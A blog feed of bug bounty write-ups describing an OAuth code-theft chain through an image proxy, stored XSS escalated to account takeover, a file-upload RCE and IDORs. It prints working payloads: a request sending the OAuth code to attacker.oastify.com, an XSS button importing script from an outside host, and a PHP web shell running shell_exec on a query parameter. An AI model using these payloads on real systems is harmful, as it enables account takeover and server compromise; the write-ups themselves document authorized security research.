<pre><code class="lang-http"><span class="hljs-attribute">1377.targetstaging.app</span>
</code></pre>
<p>In the first phase of my narrow recon approach, I utilized various services like Archive, Google, and Yahoo to extract endpoints and different paths.</p>
<p>However, in this specific target, we needed to set a specific cookie for example <code>usertest=hash</code>, as mentioned in the program's policy, for the website to work.</p>
<p>I opened my Burp Suite and started working with the application, testing its various functionalities and gaining an understanding of how the target operates.</p>
<h3 id="heading-oauth-authorization-flow">OAuth Authorization Flow:</h3>
<p>One of the intriguing sections for a Hunter often revolves around the Authentication parts of the target. It was the first area I encountered, and I began to unravel the core flow of these target sections.</p>
<p>This target included an OAuth section that allowed you to use providers like Google, Microsoft, and Slack to log in to the website. After testing and validating the OAuth flow, I arrived at these five requests:</p>
<ol>
<li><p>The first request, which redirected me to the company's main website, was as follows:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700205817614/b2d9b933-d4ee-4e7d-899c-c88a2e1e2103.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>The second request, which redirected me to the Google login page after being redirected to the company's main website, appeared as follows:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700206036129/9a2b550c-11b8-4d5b-9458-9d3ee1ca4d99.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>The third request, which used the Google provider code to navigate back to the company's main website, looked like this:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700207006428/8cb15063-7c15-4de2-84f9-090f14e7a645.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>The fourth request, which used the Google code to navigate from the main website to a subdomain, was structured as follows:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700207211246/ad3fb6fc-1c3c-4fb2-b5d1-b9e17c0c3255.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>The fifth and final request in the flow authorized us and allowed us to obtain the <code>auth</code> cookie to access our account was formulated like this:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700329253110/3d9294a0-ae37-46d2-824f-95df7f6307cb.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p>After figuring out how it works, I tried different ways to hijack the code, thinking like a hacker. My first idea was to check how the <code>redirect_uri</code> parameters work in the fourth part of the flow to redirect victims to my domain and grab the OAuth Code.</p>
<p>I conducted various tests here, but it seemed that the Regex was completely fixed to the domain of the Company and appeared to be entirely safe. Even if an open redirect was found, there was no way to change the <code>redirect_uri</code> parameter and redirect it.</p>
<p>after a while, I decided to move forward and concentrate on testing other functions of the website.</p>
<h3 id="heading-change-profile-picture-flow">Change Profile Picture Flow:</h3>
<p>After logging into the control panel, I started the process from the profile section. I monitored the requests after each change.</p>
<p>During the update of the profile picture in the 'Update Profile Picture' section, one specific request grabbed my attention:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700208167607/a6f5009f-0652-4eb4-a2a0-4b7ce57282ae.png" alt class="image--center mx-auto" /></p>
<p>The first idea that comes to every hacker's mind here is to modify the URL for SSRF. So I inserted the burp collaboration into the <code>AvatarUrl</code> parameter:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700208497870/ce0d5521-d13c-44ef-9cb5-608799014673.png" alt class="image--center mx-auto" /></p>
<p>I reloaded my profile and saw that a new link had been set for my user setting, and this request came towards the collaboration burp suite:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700209021579/a5ec5437-7cf9-4cf9-aef3-6a0e9b7e2497.png" alt class="image--center mx-auto" /></p>
<p>The point I noticed here is that the browser doesn't directly load the image. Instead, the profile picture's link is given to a reverse proxy, which then loads and displays the image. After carefully checking the requests following the construction of the DOM, I came across this request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700209500564/6a47d650-2c7c-4835-8595-bd2dde80f88b.png" alt class="image--center mx-auto" /></p>
<p>Here, it took the profile picture's link as input, and if the format was an image, it would load.</p>
<p>I performed various tests here, such as changing the protocol to gopher or file, using redirect tricks to change the protocol, using SVG input for XSS or LFI, port scanning, and more.</p>
<p>But here, it seemed completely secure, and at this point, I was out of ideas. I abandoned the system altogether and moved on. :)</p>
<h3 id="heading-chain-vulnerability-flow">Chain Vulnerability Flow:</h3>
<p>After a break, I turned on the system and checked my notes. The idea struck me that I have a Reverse Proxy that takes a URL as a path and sends a GET request to the URL with all the necessary info in the URL.</p>
<p>If you observe, in the fifth request of OAuth Flow, where the code is sent in the GET parameter. So If I can somehow redirect step 5 of the flow to this path :</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/imageProxy/https://attacker.oastify.com/?code=</span> HTTP/1.1
</code></pre>
<p>I can receive the code and gain access to the account.</p>
<p>Well, here I took a closer look at the flow, first examining the parameters that my login provider page, which is Google in this case, accepts as valid:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700210405609/d4856171-82fa-4454-ae10-a35a5a843434.png" alt class="image--center mx-auto" /></p>
<p>Here we have two important parameters, highlighted in red and green in the above request.</p>
<p>The first parameter is <code>redirect_uri</code>, which couldn't be changed in any way and was completely fixed.</p>
<p>The second parameter is state, which looks interesting, Let’s find out how it works.</p>
<p>The purpose of this parameter was to pass its value to the main company site after provider authentication and obtaining the code.</p>
<p>The main company site would then check the URL inside the <code>state</code> parameter, and if it passed the check function, it would redirect us to this URL with the Provider code. (Fourth request in the flow):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700223700349/80b9373a-8359-4e8a-b47d-fce52b15c5e7.png" alt class="image--center mx-auto" /></p>
<p>Now, instead of the first URL mentioned earlier, I need to attempt retrieving the code by abusing the Reverse Proxy using a second URL:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700224603969/406d3c80-9a1b-45ed-8094-9f64cf837102.png" alt class="image--center mx-auto" /></p>
<p>Now, I've started working with the checker function, and the regex here appears to be completely safe.</p>
<p>I began working with the regex of the <code>redirect_uri</code> parameter in the <code>state</code> parameter to hijack the code. However, any change resulted in a 403 response, making manipulation challenging, except by adding characters to the path continuation. This means the website accepts a link like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700224561496/7a0f5a60-b74c-4c44-8fcb-e52dfd450f66.png" alt class="image--center mx-auto" /></p>
<p>Here, I came up with the idea of using path traversal to observe the behavior of the web server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700225193320/391ad629-88a1-4890-a1b7-889154aae5c9.png" alt class="image--center mx-auto" /></p>
<p>I saw that it worked, and it took me a directory back. So, I could use this payload above to bring the victim's three directories back and redirect them to the path I wanted, allowing me to obtain the code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700225378949/fcec6f5c-7cb5-44e8-a082-8db857f66f5e.png" alt class="image--center mx-auto" /></p>
<p>Let's move on to the last payload. Here, I could use both the <code>target.app</code> site and the provider to create a malicious link. Two links could be created in this way:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1700225519570/72c3841b-cd99-4b73-a258-cad00fa70e24.png" alt class="image--center mx-auto" /></p>
<p>If ٰVictim's clicking on any of the two links and logging in occurred, I, as an attacker, would receive such a request:</p>
<p><img src="https://memoryleaks.ir/wp-content/uploads/2023/08/image-1.png" alt /></p>
<p>It included the provider code that I could use in the request for a 5-Flow to access the victim's account and DONE.</p>
<p>I hope you enjoy :)</p>
]]></content:encoded></item><item><title><![CDATA[$7000 Bounty on a Single Web Application]]></title><description><![CDATA[Intro
Hello, my name is Amir Abbas, an 18-year-old web security enthusiast who goes by the username ImAyrix on most social networks. I have been actively involved in web application security for approximately a year and a half. At the moment, I am hu...]]></description><link>https://blog.voorivex.team/7000-bounty-on-a-single-web-application</link><guid isPermaLink="true">https://blog.voorivex.team/7000-bounty-on-a-single-web-application</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[ Web Application Security]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Ayrix]]></dc:creator><pubDate>Wed, 01 Nov 2023 17:56:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1698559431693/68bd0269-2979-4bf7-b3cd-68309573ed9f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-intro">Intro</h2>
<p>Hello, my name is Amir Abbas, an 18-year-old web security enthusiast who goes by the username ImAyrix on most social networks. I have been actively involved in web application security for approximately a year and a half. At the moment, I am hunting with the Voorivex team and thoroughly enjoy spending time with my group members.</p>
<h2 id="heading-what-am-i-going-to-write-about">What am I Going to Write About?</h2>
<p>I aim to share my 40-day part-time bug-hunting journey and the techniques I used to discover vulnerabilities. In this process, I realized the significance of narrow recon, which allowed me to focus on specific technologies and infrastructure endpoints. This made it easier for me to identify vulnerabilities efficiently.</p>
<h2 id="heading-choosing-a-target">Choosing a Target</h2>
<p>I spent several days searching for a target and exploring different programs across various platforms, but I didn't find any results… One day, my friend Alireza introduced me to a new target on HackerOne. I quickly started subdomain discovery when I saw that one of its scopes was <code>*.domain.tld</code>. However, I realized that some of the subdomains were out of scope, and the rest did not have anything interesting to test.</p>
<p>I was thinking about changing the target since all my previous vulnerabilities were discovered through subdomain discovery and working on different subdomains. However, after checking HackerOne's Hacktivity, I noticed some bugs that were reported recently. So I decided to start working on it, I went through all the subdomains of that program but found nothing interesting on them. So I decided to put aside the Wide Recon and dive deep into web applications and work with different functionalities and features.</p>
<h2 id="heading-vulnerability-discovery">Vulnerability Discovery</h2>
<p>In this section, I will explain some vulnerabilities I have identified in this program, which are XSS, RCE, IDOR, etc.</p>
<h3 id="heading-reflected-xss">Reflected XSS</h3>
<p>While conducting my narrow recon and exploring the web application's features, I came across the site's support contact page. I used the <a target="_blank" href="https://github.com/xnl-h4ck3r/GAP-Burp-Extension">GAP Burp Suite extension</a> to extract the parameters of the same domain and the <a target="_blank" href="https://github.com/Sh1Yo/x8">x8</a> tool to do the parameter discovery. Finally, I found a reflected XSS using the <code>addon</code> parameter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698500998963/b182fa5b-f7ce-4f19-84f8-feb1003c70e1.png" alt class="image--center mx-auto" /></p>
<p><code>[ Medium - Triaged - $500 ]</code></p>
<h3 id="heading-stored-xss-leads-to-account-takeover">Stored XSS Leads to Account Takeover</h3>
<p>On this website, users could offer plugins for sale or for free, and there was a section for users' comments about the plugins. In this comments section, I found a Stored XSS,</p>
<pre><code class="lang-xml">form&gt;<span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">formaction</span>=<span class="hljs-string">"javascript:import('//ayrix.info/exploit/?email=attacker@gmail.com')"</span>&gt;</span>Click Me<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
</code></pre>
<p>I started to improve the impact, so I tried to escalate this XSS to an Account Takeover. I wrote a JavaScript exploit code to change the victim's email, and it was working. The "forget password" feature was only available on the SSO domain. I tried to forget the password, although I didn't receive any email since the email address hadn't been updated in the SSO. So, I could change the victim's email address, but I couldn't reset the password.</p>
<p>Sadly, the SSO domain was different from the XSSed domain, so I couldn't exploit it. I went through searching the web application, and after a while of fuzzing, I found a hidden path on the XSSed domain called <code>legacy-login</code>. The hidden path had a "forget password" option. I used the forget password feature, but still, there was no email!</p>
<p>I checked the HTTP request in my Burp Suite and saw that two spaces were added to the beginning and end of the email. I removed the spaces, resubmitted the request, and finally got the password reset email:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698502779857/cf0a4680-751c-4c64-9f36-a1d0e3589cc5.jpeg" alt class="image--center mx-auto" /></p>
<p>Now that everything was ready, I wrote a JavaScript exploit:</p>
<ul>
<li><p>Send a GET request to the page containing the email change functionality and store the CSRF token.</p>
</li>
<li><p>Send a POST request to the endpoint which I discovered to change email with the CSRF token, and replace my email with the victim’s email.</p>
</li>
</ul>
<p>Now, when victims visit the page that contains Stored XSS, it will trigger, changing their email to mine. Then I can request a password reset for my email and take over their account.<br /><code>[ Max severity of this domain is High - High - Triaged - $1500 ]</code></p>
<h3 id="heading-stored-xss-leads-to-account-takeover-2">Stored XSS Leads to Account Takeover (2)</h3>
<p>This time, I created an add-on on the site, and I successfully executed the scenario described above on one of the extension description pages.<br /><code>[ Max severity of this domain is High - High - Triaged - $1500 ]</code></p>
<h3 id="heading-a-business-logic-vulnerability-that-leads-to-manipulating-add-ons-stars">A Business Logic Vulnerability that Leads to Manipulating Add-ons Stars</h3>
<p>Each add-on had a star rating system, with 1 to 5 stars, which affected how they were displayed. When a user gave an add-on 5 stars, the request was sent as <code>ratings=5</code>. I simply changed the rating to 1000, causing my add-on to appear at the top of the list.<br /><code>[ Duplicate ]</code></p>
<h3 id="heading-remote-code-execution-rce-vulnerability-with-file-upload">Remote Code Execution (RCE) Vulnerability with File Upload</h3>
<p>The site allowed users to upload files in different sections. No matter how hard I tried, I couldn't upload malicious files. However after a few days of working on the program, I found a section where different files with different extensions were uploaded, I believe I discovered an older version of the file upload functionality that had a vulnerability. I realized that the upload is only sensitive to the <code>content-type</code>, not the file extension. I turned on intercept in Burp Suite and uploaded a PHP file, changing the <code>content-type</code> to <code>image/png</code> in that request. The PHP file contained the following code:</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
$output = shell_exec($_GET[<span class="hljs-string">"secert-cmd"</span>]);
<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;<span class="hljs-subst">$output</span>&lt;/pre&gt;"</span>;
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>I opened the path to my uploaded file and found that any command I sent in the <code>secret-cmd</code> parameter was executed and the output was printed on the page.</p>
<p><code>[ Max severity of this domain is High - High - Triaged - $1500 ]</code></p>
<h3 id="heading-access-to-files-of-private-add-ons-idor">Access to Files of Private Add-ons (IDOR)</h3>
<p>Each add-on could have several attached files, such as installation steps, installation files, or other files. Each file had a numerical ID, and its download link was as follows: <code>https://www.domain.tld/download/45294</code></p>
<p>I also tried to create my add-on. While I was creating the add-on, the private option caught my eye. I uploaded several files and set my add-on to private. Then, I tried to download the files with another account and saw that I was able to do so.<br />Since the ID was a number, I could fuzz it from 1 to 10000 and gain access to all public and "private" files.<br /><code>https://www.domain.tld/download/FUZZ</code></p>
<p><code>[ Medium - Triaged - $500 ]</code></p>
<h3 id="heading-idor-in-the-extract-sales-data-functionality">IDOR in the Extract Sales Data Functionality</h3>
<p>This feature was part of the paid subscription plan, which I didn't have. I asked the program's security team to give me a test account in the comment section of one of my reports, and they replied they would soon add a subdomain that is possible to test the premium features to the scope. I quickly turned on notifications for this program in HackerOne.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698502941549/2474018b-d8b6-4d88-a3be-4bf63b983782.png" alt class="image--center mx-auto" /></p>
<p>Once the subdomain was added, I quickly created an add-on and went to the sales statistics page. I noticed that a POST request to <code>/rest/paymentinfos</code> was sent with my add-on ID. This was easy because the ID of each add-on was public. I could send each person's add-on ID to this endpoint and receive their entire sales information.<br /><code>[ Medium - Triaged - $500 ]</code></p>
<h3 id="heading-idor-in-the-add-on-settings-in-the-admin-section">IDOR in the Add-on Settings in the Admin Section</h3>
<p>I tested all the fields in the add-on admin panel several times, and they were all safe from IDOR. But this time, after opening the admin page, I noticed a small button at the bottom. When I clicked on it, A new add-on settings panel opened, one that I had not seen before. It was a new panel, and after testing it, I realized that it was vulnerable to IDOR and I could change the admin information of other add-ons.<br /><code>[ Medium - Triaged - $500 ]</code></p>
<h3 id="heading-reflected-xss-1">Reflected XSS</h3>
<p>I checked all the filters and parameters on the search page and they were safe, but I thought there might be other parameters too. So I started fuzzing the parameters with the x8 tool and found a parameter called <code>resource</code> that was reflected and turned into XSS.<br /><code>[ Medium - Triaged - $500 ]</code></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Before finding these vulnerabilities, I'd been watching YouTube channels and reading articles to learn how to find subdomains and more domains for a bug bounty program. Whenever I saw something like <code>*.domain.tld</code> in scope on HackerOne or BugCrowd programs, I would immediately start subdomain discovery. But now I think that a wide recon isn't always the best approach. Sometimes we need to focus on the main application features and look for bugs in those.</p>
]]></content:encoded></item><item><title><![CDATA[$9240 Bounty in 30 days Hunt Challenge]]></title><description><![CDATA[Intro
Hello, I'm Omid, a 22-year-old enthusiast diving into the world of web application hacking for nearly a year and a half now. I'm currently hunting for the Voorivex team, a group of people like me who have the same interests. You can read my fir...]]></description><link>https://blog.voorivex.team/9240-bounty-in-30-days-hunt-challenge</link><guid isPermaLink="true">https://blog.voorivex.team/9240-bounty-in-30-days-hunt-challenge</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><dc:creator><![CDATA[Omid Rezaei]]></dc:creator><pubDate>Sat, 21 Oct 2023 17:19:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1697901496831/c75e0fbd-14d2-4039-b375-8eab7d905cd3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-intro">Intro</h2>
<p>Hello, I'm Omid, a 22-year-old enthusiast diving into the world of web application hacking for nearly a year and a half now. I'm currently hunting for the Voorivex team, a group of people like me who have the same interests. You can read my first write-up about command injection here:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.voorivex.team/uncovering-a-command-injection-2400-bounty">https://blog.voorivex.team/uncovering-a-command-injection-2400-bounty</a></div>
<p> </p>
<p>Today, I'm excited to share my journey as a full-time bug bounty hunter over the past three months. I'll discuss disappointments, challenges, notable events, and, of course, the successes that have shaped this exhilarating adventure.</p>
<h2 id="heading-methodology">Methodology</h2>
<p>In my initial year of engaging in Bug Bounty programs, my primary approach revolved around extensive reconnaissance (Wide Recon), comprehending the company's infrastructure, and identifying private subdomains and IPs for vulnerability testing and bug discovery.</p>
<p>So much of my time was spent in terminals, procuring new servers, actively utilizing various tools like running Nuclei, DNS brute force techniques, and continuously learning and experimenting with new methods to effectively map the company's infrastructure.</p>
<p>With this methodology, I managed to earn around $6K in my first year. While it may not seem like a substantial sum, considering I started from a $0 salary, achieving this milestone brought me immense joy and a sense of accomplishment.</p>
<p>After a while, I realized I had gained a solid grasp of Wide Recon and decided it was time to shift my approach to Narrow Recon. This involved understanding specific applications and diving into various flows such as Authentication and Payment flows. In this phase, it was just me, Burp Suite, and the application, focusing on a more detailed and targeted analysis.</p>
<h2 id="heading-july-august">July, August</h2>
<p>I began selecting targets with limited scope (something like <code>*.target.com</code> or <code>target.com</code>) and applied my narrow recon approach.</p>
<p>and this is the result of 2 months of working on various targets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696587764694/57127486-6e08-47c9-960c-2436b2d2a657.png" alt class="image--center mx-auto" /></p>
<p>as you can see there are:</p>
<ul>
<li><p>Triaged: 6</p>
</li>
<li><p>Duplicate: 8</p>
</li>
<li><p>Informative: 4</p>
</li>
<li><p>N/A: 7</p>
</li>
<li><p>All: 25</p>
</li>
<li><p>Bounty: $350</p>
</li>
</ul>
<p>I've been putting in almost daily effort, but the results over these two months were not what I had anticipated. This can be attributed to encountering unexpected challenges.</p>
<p>Let me begin by explaining some of the reports in more detail:</p>
<p>Then, on the first day of July, I received a notification from my monitoring script that a program had added some assets to its scope.</p>
<p>So, I promptly opened Burp Suite and began working with the new assets. Within a span of 5 days, I identified 2 Critical, 1 High, and 2 Medium vulnerabilities. Let's cover the flow of a few of these findings:</p>
<ul>
<li><p><strong>PII Leakage:</strong></p>
<ol>
<li><p>During sign-up attempts in applications, HTTP requests were captured.</p>
</li>
<li><p>If an email used for signing up already existed in the database, the application would respond by exposing the user's Personal Information.</p>
</li>
</ol>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696636299301/cf1a7202-7f53-46b1-b293-202ae74e5287.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>PII Leakage 2:</strong></p>
<ol>
<li><p>The application featured a collaboration functionality allowing users to add collaborators to their accounts.</p>
</li>
<li><p>Within this function, a suggested option was available, displaying a list of users based on the input (e.g., entering "victim").</p>
</li>
<li><p>However, this endpoint not only loaded names and emails but also exposed addresses, phone numbers, and other personal information of the users.</p>
</li>
</ol>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696636218157/6d36a019-8e8c-48a6-a242-98afa3672131.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>Reflected XSS:</strong></p>
<ol>
<li><p>The application included a subdomain, <code>admin.target.com</code>, housing a sign-up functionality.</p>
</li>
<li><p>I initiated fuzzing on the sign-up page using a wordlist of JavaScript variable names.</p>
</li>
<li><p>During this process, I observed that a parameter name <code>appURL</code> was being reflected within a script tag.</p>
</li>
<li><p>I took advantage of this reflection by injecting the payload <code>&lt;/script&gt;&lt;script&gt;alert(origin)&lt;/script&gt;</code>, successfully triggering the desired alert.</p>
</li>
</ol>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696636378090/16d7562b-1cbb-460f-b067-b6e5da8b330e.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>Reflected XSS Lead To ATO of Admins:</strong></p>
<ol>
<li>Leveraging the Reflected XSS discovered in the previous report, I successfully executed an authenticated HTTP request to the subdomain named <code>admin.target.com</code>.</li>
</ol>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696636445870/242c2b49-bba8-47a3-8caa-3e00fd42e9c0.png" alt class="image--center mx-auto" /></p>
<p>After submitting all of these findings to the program, they confirmed and acknowledged two of the vulnerabilities. However, they marked three of them as N/A (Not Applicable). Upon inquiring about the reason for this classification, I was informed that the asset on which these vulnerabilities were found was mistakenly added and did not belong to their scope.</p>
<p>I sent some messages to them about their mistake and emphasized that it was not my fault. However, they did not respond to my messages.</p>
<p>Even after approximately 3 months, they haven't paid for the two triggered reports. Regarding the reports marked as N/A, they sent a vague message, and I am still awaiting a clarification.</p>
<p>After this discouraging experience, I felt somewhat disheartened and decided to cease my work with Bugcrowd. I was optimistic about transitioning to HackerOne, hoping for a more positive experience. Unfortunately, my expectations were not met, and the experience there did not unfold as I had anticipated.</p>
<p>I engaged with multiple programs on HackerOne, dedicating evenings to testing and reporting vulnerabilities. Despite changing my target often, I encountered numerous duplicates and cases marked as "Not Applicable." Some of my reports were indeed valid, yet the program responses were not consistently prompt.</p>
<h2 id="heading-self-assessment-andamp-debugging-the-mindset"><strong>Self-Assessment &amp; Debugging the Mindset</strong></h2>
<p>After investing two months of hard work without receiving any significant rewards, I became increasingly disappointed. My mental fatigue reached a point where my cognitive abilities seemed to diminish, making it challenging for me to cope with the situation effectively.</p>
<p>In this challenging situation, I decided to take a few days off, during which I refrained from opening my laptop.</p>
<p>After a few days, I returned to work, but this time I shifted my focus away from web applications. I resolved to investigate the root of the problem. Several pressing questions weighed on my mind:</p>
<ul>
<li><p><strong>Do I know enough for bug hunting?</strong></p>
</li>
<li><p><strong>Can the platform affect my success? if the answer is Yes, Why hasn't it gotten better with a new platform?</strong></p>
</li>
<li><p><strong>Am I doing okay, or just unlucky?</strong></p>
</li>
</ul>
<p>I turn my problems into questions, then seek answers by asking experienced hunters and searching through resources like YouTube, Twitter, and more. I'll share some of the very helpful resources.</p>
<ul>
<li><p>I found a helpful YouTube playlist by Grzegorz Niedziela where he discussed his transition from a pentester job to bug bounty hunting. He shared the challenges he faced and how he successfully handled them. <a target="_blank" href="https://www.youtube.com/watch?v=mJI958rULdw&amp;list=PLvxs_epf2X91YIlr3ze6gO3Zn_JhW38fG">Link</a>.</p>
</li>
<li><p>I came across a tweet by <a target="_blank" href="https://x.com/H4cktus?s=20">Hazem</a>, a skilled hacker, where he shared the outcomes of his bug bounty efforts for August, focusing on a single program.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696863524702/d1513a0a-490c-47a3-9f0a-ca25300623ed.png" alt class="image--center mx-auto" /></p>
<ul>
<li>I sent a message to Justin Gardner, and without much introduction needed, I explained the situation to him. He responded with a message.</li>
</ul>
</li>
</ul>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696863806696/fe3e77e1-f0d4-4938-8d8e-f3ab0f8f5688.png" alt class="image--center mx-auto" /></p>
<ul>
<li>I sent a message to <a target="_blank" href="https://x.com/mzaherii?s=20">Mohammad Zaheri</a>, another skilled hacker, to gain insights into their mindset and how they manage high-pressure situations. Mohammad shared some valuable tips on setting goals, avoiding burnout, and staying productive, and some useful tips like that.</li>
</ul>
<p>So, the takeaway from learning from them is to:</p>
<ul>
<li><p>Focus on a single program.</p>
</li>
<li><p>Set a clear goal.</p>
</li>
<li><p>Begin a specific challenge.</p>
</li>
<li><p>My knowledge might not be perfect, but it's sufficient to discover things based on previous findings."</p>
</li>
<li><p>Sometimes it's just a matter of luck, but you can enhance your odds.</p>
</li>
</ul>
<h2 id="heading-september">September</h2>
<p>I learned something new and decided to start a 30-day challenge in September. I set clear goals and began by choosing a good program.</p>
<p>I'm often afraid of programs with attractive bounties because I think skilled hackers are already working on them, leaving me with little chance to find vulnerabilities.</p>
<p>After a few days, I found a program that looked promising based on its bounty table and response time. I chose to focus on that one.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696880218616/ac2060a1-06bb-45d6-a079-ee69e0ae6607.png" alt class="image--center mx-auto" /></p>
<p>after that set clear goals for myself based on bounty and reputation.</p>
<p>and this is the result of the 30-day challenge:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697833274238/bc6eb63a-5af8-4164-bc4a-69fab330805a.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Triaged: 9</p>
</li>
<li><p>Duplicate: 3</p>
</li>
<li><p>Informative: 1</p>
</li>
<li><p>N/A: 1</p>
</li>
<li><p>All: 14</p>
</li>
<li><p>Reputation:</p>
</li>
<li><p>Bounty: $9240</p>
</li>
</ul>
<p>As you can see, my debugging works and finally my dedication is paying off, and I'm thrilled about it. I've even started rewarding myself by investing in upgrades for my workspace. As a result, I've decided to write an article about my experience and share it with the community.</p>
<p>So let me explain some flow of vulnerabilities I have found for you:</p>
<ol>
<li><p><strong>CORS Misconfiguration</strong></p>
<ul>
<li><p>The hosting allowed to register an arbitrary subdomain, <a target="_blank" href="http://arbitrary.targetsite.com"><code>arbitrary.targetsite.com</code></a></p>
</li>
<li><p>There was an API on <a target="_blank" href="http://api.target.com"><code>api.target.com</code></a> with CORS-trusted <code>.*.</code><a target="_blank" href="http://arbitrary.targetsite.com"><code>arbitrary.targetsite.com</code></a></p>
</li>
<li><p>Exploited the PII information leakage → JavaScript PoC provided</p>
</li>
<li><p>The program denied it since the Cookies were Lax on Chrome + Firefox protection was ON by default</p>
</li>
</ul>
</li>
<li><p><strong>Cache Deception</strong></p>
<ul>
<li>An endpoint was vulnerable to Cache Deception, <a target="_blank" href="https://dashboard.target.com/my-profile/username/.css"><code>https://dashboard.target.com/my-profile/username/.css</code></a></li>
</ul>
</li>
<li><p><strong>Business Login Error</strong></p>
<ul>
<li><p>I found a subdomain called <a target="_blank" href="http://payment.target.com">payment.target.com</a> where I could buy a new domain</p>
</li>
<li><p>The site was checking if the domain had already been registered or not</p>
</li>
<li><p>By response manipulation, I could make an invoice for a registered domain</p>
</li>
<li><p>However, after purchase, I could not change the DNSs (if I could, it would be a critical domain takeover)</p>
</li>
<li><p>I couldn't find a significant impact, so I reported it as having no serious consequences, marking it as a "Best Practice issue"</p>
</li>
</ul>
</li>
<li><p><strong>CSV Injection</strong></p>
<ul>
<li><p>There was <code>weblog-builder.targer.com</code> subdomain to connect my domain and create web pages</p>
</li>
<li><p>The website had a feature that allowed users to send messages to the admin through a content form</p>
</li>
<li><p>The admin could export the messages from users as a CSV file</p>
</li>
<li><p>When an attacker sends the payload <code>=4+4</code> to the admin, the exported CSV file would print <code>8</code></p>
</li>
<li><p>There wasn't any significant impact. However, I reported it to the team</p>
</li>
</ul>
</li>
<li><p><strong>HTML Injection</strong></p>
<ul>
<li><p>There was <code>weblog-builder.targer.com</code> subdomain to connect my domain and create web pages</p>
</li>
<li><p>The website had a feature that allowed users to send messages to the admin through a content form</p>
</li>
<li><p>After each submission, the admin received an email containing the name of the user who submitted the contact form</p>
</li>
<li><p>If an attacker sent a value with HTML tags like <code>&lt;a&gt;</code>, the admin received a rendered version of HTML in their email</p>
</li>
<li><p>So I reported the vulnerability as "HTML Injection in Email"</p>
</li>
</ul>
</li>
<li><p><strong>Weak Implementation of Password Protect Function</strong></p>
<ul>
<li><p>The website <code>weblog-builder.targer.com</code> had another feature that allowed the admin to protect some pages with a password</p>
</li>
<li><p>This feature uses client-side protection, making the data accessible in the DOM</p>
</li>
<li><p>I submitted this vulnerability as HIGH impact, but the program downgraded the severity to LOW and they sent me this message:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697053871373/76e1d46b-acbb-47cf-b813-621e88bddf20.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>I responded with this message:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697113774885/4ab677ab-b065-4b9b-89ad-68f402e6b046.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>They accepted my message and responded:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697113900622/3345ddbe-71dc-446b-b269-818b1dc9f650.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
<li><p><strong>Access to Unpublish blog posts</strong></p>
<ul>
<li><p>The website, <code>weblog-builder.target.com</code> had an additional feature that enabled the admin to create a weblog post and publish the article</p>
</li>
